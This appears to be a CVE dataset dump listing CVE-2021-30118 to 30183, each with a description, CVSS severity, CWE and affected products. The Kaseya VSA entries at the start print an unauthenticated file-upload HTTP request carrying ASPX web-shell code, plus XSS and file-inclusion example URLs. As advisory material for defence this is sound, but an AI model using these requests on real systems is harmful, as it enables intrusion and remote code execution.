alirezaaminzadeh/cve-riskrank huggingface dataset:
CVE-2021-30118 (published 2021-07-09)
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-434
Affected vendors: kaseya
Affected products: vsa
CVE-2021-30119 (published 2021-07-09)
Authenticated reflective XSS in HelpDeskTab/rcResults.asp The parameter result of /HelpDeskTab/rcResults.asp is insecurely returned in the requested web page and can be used to perform a Cross Site Scripting attack Example request: `https://x.x.x.x/HelpDeskTab/rcResults.asp?result=<script>alert(document.cookie)</script>` The same is true for the parameter FileName of /done.asp Eaxmple request: `https://x.x.x.x/done.asp?FileName=";</script><script>alert(1);a="&PathData=&originalName=shell.aspx&FileSize=4388&TimeElapsed=00:00:00.078`
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: kaseya
Affected products: vsa
CVE-2021-3012 (published 2021-04-08)
A cross-site scripting (XSS) vulnerability in the Document Link of documents in ESRI Enterprise before 10.9 allows remote authenticated users to inject arbitrary JavaScript code via a malicious HTML attribute such as onerror (in the URL field of the Parameters tab).
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: esri
Affected products: arcgis_enterprise
CVE-2021-30120 (published 2021-07-09)
Kaseya VSA before 9.5.7 allows attackers to bypass the 2FA requirement. The need to use 2FA for authentication in enforce client-side instead of server-side and can be bypassed using a local proxy. Thus rendering 2FA useless. Detailed description --- During the login process, after the user authenticates with username and password, the server sends a response to the client with the booleans MFARequired and MFAEnroled. If the attacker has obtained a password of a user and used an intercepting proxy (e.g. Burp Suite) to change the value of MFARequered from True to False, there is no prompt for the second factor, but the user is still logged in.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
Weakness: CWE-669
Affected vendors: kaseya
Affected products: vsa
CVE-2021-30121 (published 2021-07-09)
Semi-authenticated local file inclusion The contents of arbitrary files can be returned by the webserver Example request: `https://x.x.x.x/KLC/js/Kaseya.SB.JS/js.aspx?path=C:\Kaseya\WebPages\dl.asp` A valid sessionId is required but can be easily obtained via CVE-2021-30118
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Weakness: CWE-829
Affected vendors: kaseya
Affected products: vsa
CVE-2021-30123 (published 2021-04-07)
FFmpeg <=4.3 contains a buffer overflow vulnerability in libavcodec through a crafted file that may lead to remote code execution.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Weakness: CWE-120
Affected vendors: ffmpeg
Affected products: ffmpeg
CVE-2021-30124 (published 2021-07-30)
The unofficial vscode-phpmd (aka PHP Mess Detector) extension before 1.3.0 for Visual Studio Code allows remote attackers to execute arbitrary code via a crafted phpmd.command value in a workspace folder.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected vendors: vscode-phpmd_project
Affected products: vscode-phpmd
CVE-2021-30125 (published 2021-04-02)
Jamf Pro before 10.28.0 allows XSS related to inventory history, aka PI-009376.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: jamf
Affected products: jamf
CVE-2021-30126 (published 2021-04-02)
Lightmeter ControlCenter 1.1.0 through 1.5.x before 1.5.1 allows anyone who knows the URL of a publicly available Lightmeter instance to access application settings, possibly including an SMTP password and a Slack access token, via a settings HTTP query.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)
Affected vendors: lightmeter
Affected products: controlcenter
CVE-2021-30127 (published 2021-04-03)
TerraMaster F2-210 devices through 2021-04-03 use UPnP to make the admin web server accessible over the Internet on TCP port 8181, which is arguably inconsistent with the "It is only available on the local network" documentation. NOTE: manually editing /etc/upnp.json provides a partial but undocumented workaround.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
Affected vendors: terra-master
Affected products: f2-210, f2-210_firmware
CVE-2021-30128 (published 2021-04-27)
Apache OFBiz has unsafe deserialization prior to 17.12.07 version
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-502
Affected vendors: apache
Affected products: ofbiz
CVE-2021-30129 (published 2021-07-12)
A vulnerability in sshd-core of Apache Mina SSHD allows an attacker to overflow the server causing an OutOfMemory error. This issue affects the SFTP and port forwarding features of Apache Mina SSHD version 2.0.0 and later versions. It was addressed in Apache Mina SSHD 2.7.0
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
Weakness: CWE-772
Affected vendors: apache, oracle
Affected products: banking_payments, banking_trade_finance, banking_treasury_management, communications_cloud_native_core_console, flexcube_universal_banking, middleware_common_libraries_and_tools, oss_support_tools, retail_customer_management_and_segmentation_foundation, sshd
CVE-2021-3013 (published 2021-06-11)
ripgrep before 13 on Windows allows attackers to trigger execution of arbitrary programs from the current working directory via the -z/--search-zip or --pre flag.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected vendors: microsoft, ripgrep_project
Affected products: ripgrep, windows
CVE-2021-30130 (published 2021-04-06)
phpseclib before 2.0.31 and 3.x before 3.0.7 mishandles RSA PKCS#1 v1.5 signature verification.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
Weakness: CWE-347
Affected vendors: debian, phpseclib
Affected products: debian_linux, phpseclib
CVE-2021-30132 (published 2021-11-08)
Cloudera Manager 7.2.4 has Incorrect Access Control, allowing Escalation of Privileges.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected vendors: cloudera
Affected products: cloudera_manager
CVE-2021-30133 (published 2021-06-09)
A cross-site scripting (XSS) vulnerability in CloverDX Server 5.9.0, CloverDX 5.8.1, CloverDX 5.7.0, and earlier allows remote attackers to inject arbitrary web script or HTML via the sessionToken parameter of multiple methods in Simple HTTP API. This is resolved in 5.9.1 and 5.10.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: cloverdx
Affected products: cloverdx
CVE-2021-30134 (published 2022-12-26)
php-mod/curl (a wrapper of the PHP cURL extension) before 2.3.2 allows XSS via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: ht_slider_range_for_amazon_affiliates_project, php_curl_class_project, ptwooplugins, qiwi, shopello_api_project, teamleade
Affected products: ht_slider_range_for_amazon_affiliates, invoicing_with_invoicexpress_for_woocommerce, php_curl_class, shopello_api, teamleader_crm_forms, woo-qiwi-payment-gateway
CVE-2021-30137 (published 2021-09-15)
Assyst 10 SP7.5 has authenticated XXE leading to SSRF via XML unmarshalling. The application allows users to send JSON or XML data to the server. It was possible to inject malicious XML data through several access points.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H)
Weakness: CWE-611
Affected vendors: axiossystems
Affected products: assyst
CVE-2021-30139 (published 2021-04-21)
In Alpine Linux apk-tools before 2.12.5, the tarball parser allows a buffer overflow and crash.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Weakness: CWE-125
Affected vendors: alpinelinux
Affected products: apk-tools
CVE-2021-3014 (published 2021-01-04)
In MikroTik RouterOS through 2021-01-04, the hotspot login page is vulnerable to reflected XSS via the target parameter.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: mikrotik
Affected products: routeros
CVE-2021-30140 (published 2021-04-06)
LiquidFiles 3.4.15 has stored XSS through the "send email" functionality when sending a file via email to an administrator. When a file has no extension and contains malicious HTML / JavaScript content (such as SVG with HTML content), the payload is executed upon a click. This is fixed in 3.5.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: liquidfiles
Affected products: liquidfiles
CVE-2021-30141 (published 2021-04-05)
Module/Settings/UserExport.php in Friendica through 2021.01 allows settings/userexport to be used by anonymous users, as demonstrated by an attempted access to an array offset on a value of type null, and excessive memory consumption. NOTE: the vendor states "the feature still requires a valid authentication cookie even if the route is accessible to non-logged users.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Weakness: CWE-401
Affected vendors: friendica
Affected products: friendica
CVE-2021-30144 (published 2021-04-06)
The Dashboard plugin through 1.0.2 for GLPI allows remote low-privileged users to bypass access control on viewing information about the last ten events, the connected users, and the users in the tech category. For example, plugins/dashboard/front/main2.php can be used.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
Weakness: CWE-425
Affected vendors: glpi-project
Affected products: dashboard
CVE-2021-30145 (published 2021-05-18)
A format string vulnerability in mpv through 0.33.0 allows user-assisted remote attackers to achieve code execution via a crafted m3u playlist file.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Weakness: CWE-134
Affected vendors: mpv
Affected products: mpv
CVE-2021-30146 (published 2021-04-06)
Seafile 7.0.5 (2019) allows Persistent XSS via the "share of library functionality."
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: seafile
Affected products: seafile
CVE-2021-30147 (published 2021-04-07)
DMA Softlab Radius Manager 4.4.0 allows CSRF with impacts such as adding new manager accounts via admin.php.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Weakness: CWE-352
Affected vendors: dmasoftlab
Affected products: radius_manager
CVE-2021-30149 (published 2021-04-06)
Composr 10.0.36 allows upload and execution of PHP files.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-434
Affected vendors: ocproducts
Affected products: composr
CVE-2021-30150 (published 2021-04-06)
Composr 10.0.36 allows XSS in an XML script.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: ocproducts
Affected products: composr
CVE-2021-30151 (published 2021-04-06)
Sidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue name of the live-poll feature when Internet Explorer is used.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: contribsys, debian
Affected products: debian_linux, sidekiq
CVE-2021-30152 (published 2021-04-09)
An issue was discovered in MediaWiki before 1.31.13 and 1.32.x through 1.35.x before 1.35.2. When using the MediaWiki API to "protect" a page, a user is currently able to protect to a higher level than they currently have permissions for.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)
Weakness: CWE-269
Affected vendors: debian, fedoraproject, mediawiki
Affected products: debian_linux, fedora, mediawiki
CVE-2021-30153 (published 2023-04-15)
An issue was discovered in the VisualEditor extension in MediaWiki before 1.31.13, and 1.32.x through 1.35.x before 1.35.2. . When using VisualEditor to edit a MediaWiki user page belonging to an existing, but hidden, user, VisualEditor will disclose that the user exists. (It shouldn't because they are hidden.) This is related to ApiVisualEditor.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
Weakness: CWE-668
Affected vendors: mediawiki
Affected products: mediawiki
CVE-2021-30154 (published 2021-04-06)
An issue was discovered in MediaWiki before 1.31.12 and 1.32.x through 1.35.x before 1.35.2. On Special:NewFiles, all the mediastatistics-header-* messages are output in HTML unescaped, leading to XSS.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: debian, fedoraproject, mediawiki
Affected products: debian_linux, fedora, mediawiki
CVE-2021-30155 (published 2021-04-09)
An issue was discovered in MediaWiki before 1.31.12 and 1.32.x through 1.35.x before 1.35.2. ContentModelChange does not check if a user has correct permissions to create and set the content model of a nonexistent page.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)
Weakness: CWE-862
Affected vendors: debian, fedoraproject, mediawiki
Affected products: debian_linux, fedora, mediawiki
CVE-2021-30156 (published 2021-04-09)
An issue was discovered in MediaWiki before 1.31.12 and 1.32.x through 1.35.x before 1.35.2. Special:Contributions can leak that a "hidden" user exists.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)
Weakness: CWE-200
Affected vendors: fedoraproject, mediawiki
Affected products: fedora, mediawiki
CVE-2021-30157 (published 2021-04-06)
An issue was discovered in MediaWiki before 1.31.12 and 1.32.x through 1.35.x before 1.35.2. On ChangesList special pages such as Special:RecentChanges and Special:Watchlist, some of the rcfilters-filter-* label messages are output in HTML unescaped, leading to XSS.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: debian, fedoraproject, mediawiki
Affected products: debian_linux, fedora, mediawiki
CVE-2021-30158 (published 2021-04-06)
An issue was discovered in MediaWiki before 1.31.12 and 1.32.x through 1.35.x before 1.35.2. Blocked users are unable to use Special:ResetTokens. This has security relevance because a blocked user might have accidentally shared a token, or might know that a token has been compromised, and yet is not able to block any potential future use of the token by an unauthorized party.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Weakness: CWE-287
Affected vendors: debian, fedoraproject, mediawiki
Affected products: debian_linux, fedora, mediawiki
CVE-2021-30159 (published 2021-04-09)
An issue was discovered in MediaWiki before 1.31.12 and 1.32.x through 1.35.x before 1.35.2. Users can bypass intended restrictions on deleting pages in certain "fast double move" situations. MovePage::isValidMoveTarget() uses FOR UPDATE, but it's only called if Title::getArticleID() returns non-zero with no special flags. Next, MovePage::moveToInternal() will delete the page if getArticleID(READ_LATEST) is non-zero. Therefore, if the page is missing in the replica DB, isValidMove() will return true, and then moveToInternal() will unconditionally delete the page if it can be found in the master.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)
Affected vendors: debian, fedoraproject, mediawiki
Affected products: debian_linux, fedora, mediawiki
CVE-2021-30161 (published 2021-04-06)
An issue was discovered on LG mobile devices with Android OS 11 software. Attackers can bypass the lockscreen protection mechanism after an incoming call has been terminated. The LG ID is LVE-SMP-210002 (April 2021).
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)
Affected vendors: google
Affected products: android
CVE-2021-30162 (published 2021-04-06)
An issue was discovered on LG mobile devices with Android OS 4.4 through 11 software. Attackers can leverage ISMS services to bypass access control on specific content providers. The LG ID is LVE-SMP-210003 (April 2021).
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Affected vendors: google
Affected products: android
CVE-2021-30163 (published 2021-04-06)
Redmine before 4.0.8 and 4.1.x before 4.1.2 allows attackers to discover the names of private projects if issue-journal details exist that have changes to project_id values.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Affected vendors: debian, redmine
Affected products: debian_linux, redmine
CVE-2021-30164 (published 2021-04-06)
Redmine before 4.0.8 and 4.1.x before 4.1.2 allows attackers to bypass the add_issue_notes permission requirement by leveraging the Issues API.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected vendors: debian, redmine
Affected products: debian_linux, redmine
CVE-2021-30165 (published 2021-04-27)
The default administrator account & password of the EDIMAX wireless network camera is hard-coded. Remote attackers can disassemble firmware to obtain the privileged permission and further control the devices.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-798
Affected vendors: edimax
Affected products: ic-3140w, ic-3140w_firmware
CVE-2021-30166 (published 2021-04-28)
The NTP Server configuration function of the IP camera device is not verified with special parameters. Remote attackers can perform a command Injection attack and execute arbitrary commands after logging in with the privileged permission.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-78
Affected vendors: meritlilin
Affected products: p2g1022, p2g1022_firmware, p2g1022x, p2g1022x_firmware, p2g1052, p2g1052_firmware, p2r3022ae2, p2r3022ae2_firmware, p2r3052ae2, p2r3052ae2_firmware, p2r6322ae2, p2r6322ae2_firmware, p2r6322ae4, p2r6322ae4_firmware, p2r6352ae2, p2r6352ae2_firmware, p2r6352ae4, p2r6352ae4_firmware, p2r6522e2, p2r6522e2_firmware, p2r6522e4, p2r6522e4_firmware, p2r6552e2, p2r6552e2_firmware, p2r6552e4
CVE-2021-30167 (published 2021-04-28)
The manage users profile services of the network camera device allows an authenticated. Remote attackers can modify URL parameters and further amend user’s information and escalate privileges to control the devices.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-522
Affected vendors: meritlilin
Affected products: p2g1022, p2g1022_firmware, p2g1022x, p2g1022x_firmware, p2g1052, p2g1052_firmware, p2r3022ae2, p2r3022ae2_firmware, p2r3052ae2, p2r3052ae2_firmware, p2r6322ae2, p2r6322ae2_firmware, p2r6322ae4, p2r6322ae4_firmware, p2r6352ae2, p2r6352ae2_firmware, p2r6352ae4, p2r6352ae4_firmware, p2r6522e2, p2r6522e2_firmware, p2r6522e4, p2r6522e4_firmware, p2r6552e2, p2r6552e2_firmware, p2r6552e4
CVE-2021-30168 (published 2021-04-28)
The sensitive information of webcam device is not properly protected. Remote attackers can unauthentically grant administrator’s credential and further control the devices.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-200
Affected vendors: meritlilin
Affected products: p2g1022, p2g1022_firmware, p2g1022x, p2g1022x_firmware, p2g1052, p2g1052_firmware, p2r3022ae2, p2r3022ae2_firmware, p2r3052ae2, p2r3052ae2_firmware, p2r6322ae2, p2r6322ae2_firmware, p2r6322ae4, p2r6322ae4_firmware, p2r6352ae2, p2r6352ae2_firmware, p2r6352ae4, p2r6352ae4_firmware, p2r6522e2, p2r6522e2_firmware, p2r6522e4, p2r6522e4_firmware, p2r6552e2, p2r6552e2_firmware, p2r6552e4
CVE-2021-30169 (published 2021-04-28)
The sensitive information of webcam device is not properly protected. Remote attackers can unauthentically grant user’s credential.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Weakness: CWE-200
Affected vendors: meritlilin
Affected products: p2g1022, p2g1022_firmware, p2g1022x, p2g1022x_firmware, p2g1052, p2g1052_firmware, p2r3022ae2, p2r3022ae2_firmware, p2r3052ae2, p2r3052ae2_firmware, p2r6322ae2, p2r6322ae2_firmware, p2r6322ae4, p2r6322ae4_firmware, p2r6352ae2, p2r6352ae2_firmware, p2r6352ae4, p2r6352ae4_firmware, p2r6522e2, p2r6522e2_firmware, p2r6522e4, p2r6522e4_firmware, p2r6552e2, p2r6552e2_firmware, p2r6552e4
CVE-2021-3017 (published 2021-04-14)
The web interface on Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
Severity: HIGH (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Affected vendors: intelbras
Affected products: win_300, win_300_firmware, wrn_342, wrn_342_firmware
CVE-2021-30170 (published 2021-05-07)
Special characters of ERP POS customer profile page are not filtered in users’ input, which allow remote authenticated attackers can inject malicious JavaScript and carry out stored XSS (Stored Cross-site scripting) attacks, additionally access and manipulate customer’s information.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: junhetec
Affected products: enterprise_resource_planning_point_of_sale_system
CVE-2021-30171 (published 2021-05-07)
Special characters of ERP POS news page are not filtered in users’ input, which allow remote authenticated attackers can inject malicious JavaScript and carry out stored XSS (Stored Cross-site scripting) attacks, additionally access and manipulate customer’s information.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: junhetec
Affected products: enterprise_resource_planning_point_of_sale_system
CVE-2021-30172 (published 2021-05-07)
Special characters of picture preview page in the Quan-Fang-Wei-Tong-Xun system are not filtered in users’ input, which allow remote authenticated attackers can inject malicious JavaScript and carry out Reflected XSS (Cross-site scripting) attacks, additionally access and manipulate customer’s information.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: junhetec
Affected products: omnidirectional_communication_system
CVE-2021-30173 (published 2021-05-07)
Local File Inclusion vulnerability of the omni-directional communication system allows remote authenticated attacker inject absolute path into Url parameter and access arbitrary file.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Weakness: CWE-36
Affected vendors: junhetec
Affected products: omnidirectional_communication_system
CVE-2021-30174 (published 2021-05-11)
RiyaLab CloudISO event item is added, special characters in specific field of time management page are not properly filtered, which allow remote authenticated attackers can inject malicious JavaScript and carry out stored XSS (Stored Cross-site scripting) attacks.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Weakness: CWE-79
Affected vendors: ruiyanai
Affected products: cloudiso
CVE-2021-30175 (published 2021-04-13)
ZEROF Web Server 1.0 (April 2021) allows SQL Injection via the /HandleEvent endpoint for the login page.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-89
Affected vendors: zerof
Affected products: web_server
CVE-2021-30176 (published 2021-04-13)
The ZEROF Expert pro/2.0 application for mobile devices allows SQL Injection via the Authorization header to the /v2/devices/add endpoint.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-89
Affected vendors: zerof
Affected products: expert
CVE-2021-30177 (published 2021-04-07)
There is a SQL Injection vulnerability in PHP-Nuke 8.3.3 in the User Registration section, leading to remote code execution. This occurs because the U.S. state is not validated to be two letters, and the OrderBy field is not validated to be one of LASTNAME, CITY, or STATE.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-89
Affected vendors: phpnuke
Affected products: php-nuke
CVE-2021-30178 (published 2021-04-07)
An issue was discovered in the Linux kernel through 5.11.11. synic_get in arch/x86/kvm/hyperv.c has a NULL pointer dereference for certain accesses to the SynIC Hyper-V context, aka CID-919f4ebc5987.
Severity: MEDIUM (CVSS 3.1 vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
Weakness: CWE-476
Affected vendors: fedoraproject, linux
Affected products: fedora, linux_kernel
CVE-2021-30179 (published 2021-06-01)
Apache Dubbo prior to 2.6.9 and 2.7.9 by default supports generic calls to arbitrary methods exposed by provider interfaces. These invocations are handled by the GenericFilter which will find the service and method specified in the first arguments of the invocation and use the Java Reflection API to make the final call. The signature for the $invoke or $invokeAsync methods is Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object; where the first argument is the name of the method to invoke, the second one is an array with the parameter types for the method being invoked and the third one is an array with the actual call arguments. In addition, the caller also needs to set an RPC attachment specifying that the call is a generic call and how to decode the arguments. The possible values are: - true - raw.return - nativejava - bean - protobuf-json An attacker can control this RPC attachment and set it to nativejava to force the java deserialization of the byte array located in the third argument.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-502
Affected vendors: apache
Affected products: dubbo
CVE-2021-3018 (published 2021-01-05)
ipeak Infosystems ibexwebCMS (aka IPeakCMS) 3.5 is vulnerable to an unauthenticated Boolean-based SQL injection via the id parameter on the /cms/print.php page.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-89
Affected vendors: ipeak
Affected products: ipeakcms
CVE-2021-30180 (published 2021-06-01)
Apache Dubbo prior to 2.7.9 support Tag routing which will enable a customer to route the request to the right server. These rules are used by the customers when making a request in order to find the right endpoint. When parsing these YAML rules, Dubbo customers may enable calling arbitrary constructors.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Weakness: CWE-444
Affected vendors: apache
Affected products: dubbo
CVE-2021-30181 (published 2021-06-01)
Apache Dubbo prior to 2.6.9 and 2.7.9 supports Script routing which will enable a customer to route the request to the right server. These rules are used by the customers when making a request in order to find the right endpoint. When parsing these rules, Dubbo customers use ScriptEngine and run the rule provided by the script which by default may enable executing arbitrary code.
Severity: CRITICAL (CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected vendors: apache
Affected products: dubbo
CVE-2021-30183 (published 2021-05-14)
